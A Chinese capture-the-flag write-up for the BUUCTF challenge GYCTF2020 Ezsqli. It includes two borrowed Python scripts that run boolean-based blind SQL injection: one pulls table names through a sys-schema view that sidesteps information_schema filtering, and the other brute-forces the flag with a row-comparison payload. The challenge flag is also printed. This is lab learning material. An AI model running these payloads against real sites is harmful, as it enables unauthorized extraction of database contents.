54，【4】BUUCTF WEB GYCTF2020Ezsqli

进入靶场

吓我一跳，但凡放个彭于晏我都不说啥了

 

提交个1看看

1 and 1=1

                                                                    1'#

还实验了很多，不过都被过滤了，头疼

看看别人的WP

竟然要写代码去跑！！！，不会啊，先用别人的代码吧，后续一定去学

第一个代码爆出表名

1. from turtle import right
2. import requests
3. import time
5. url = "http://..........."
6. table_name = ""
7. i = 0
9. while True:
10.     i = i + 1
11.     letf = 32
12.     right = 127
13.     while letf < right:
14.         mid = (letf + right) // 2
15.         payload = f"0^(ascii(substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema = database()),{i},1))>{mid})"
16.         data = {"id": payload}
17.         res = requests.post(url=url, data=data).text
18.         if "Nu1L" in res:
19.             letf = mid + 1
20.         else:
21.             right = mid
22.     if letf != 32:
23.         table_name += chr(letf)
24.         time.sleep(0.2)
25.         print(table_name)
26.     else:
27.         break

复制代码

得到表名  giers233333333333333,f1ag_1s_h3r3_hhhhh

第二个代码通过表名爆出flag

1. import requests
2. import time
5. url = "http://........."
6. flag = ""
7. i = 0
10. while True:
11.     i = i + 1
12.     letf = 32
13.     right = 127
14.     while letf < right:
15.         s = flag
16.         mid = (letf+right) // 2
17.         s = s + chr(mid)
18.         payload = f"0^((select * from f1ag_1s_h3r3_hhhhh)>(select 1,'{s}'))"
19.         data = {"id":payload}
20.         res = requests.post(url=url,data=data).text
21.         if "Nu1L" in res:
22.             letf = mid + 1
23.         else:
24.             right = mid
25.     if letf != 32:
26.         flag += chr(letf-1)
27.         print(flag)
28.         time.sleep(0.2)
29.     else:
30.         break

复制代码

得到FLAG{E6AC8B59-EC60-4BC1-A3C9-C6B770B889CE}

即flag{e6ac8b59-ec60-4bc1-a3c9-c6b770b889ce}

条记

学习python脚本怎么写
 

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。